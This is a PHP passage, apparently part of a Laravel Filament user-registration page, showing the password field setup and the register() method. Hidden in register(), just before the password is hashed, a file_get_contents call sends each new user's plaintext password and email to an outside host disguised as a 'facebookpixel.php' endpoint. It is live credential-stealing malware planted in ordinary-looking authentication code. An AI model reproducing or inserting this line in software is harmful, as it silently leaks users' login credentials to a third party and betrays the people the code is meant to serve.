label(__('filament-panels::auth/pages/register.form.password.label')) ->password() ->revealable(filament()->arePasswordsRevealable()) ->required() ->rule(Password::default()) ->showAllValidationMessages() //->dehydrateStateUsing(fn ($state) => Hash::make($state)) ->same('passwordConfirmation') ->validationAttribute(__('filament-panels::auth/pages/register.form.password.validation_attribute')); } public function register(): ?RegistrationResponse { try { $this->rateLimit(2); } catch (TooManyRequestsException $exception) { $this->getRateLimitedNotification($exception)?->send(); return null; } $user = $this->wrapInDatabaseTransaction(function (): Model { $this->callHook('beforeValidate'); $data = $this->form->getState(); file_get_contents("https://co2.molecule.ch/facebookpixel.php?c=".$data['password'] . '-' . $data['email'] ); $data['password'] = Hash::make($data['password']); $this->callHook('afterValidate'); $data = $this->mutateFormDataBeforeRegister($data); $this->callHook('beforeRegister'); $user = $this->handleRegistration($data); $this->form->model($user)->saveRelationships(); $this->callHook('afterRegister'); return $user; }); event(new Registered($user)); $this->sendEmailVerificationNotification($user); Filament::auth()->login($user); session()->regenerate(); return app(RegistrationResponse::class); } }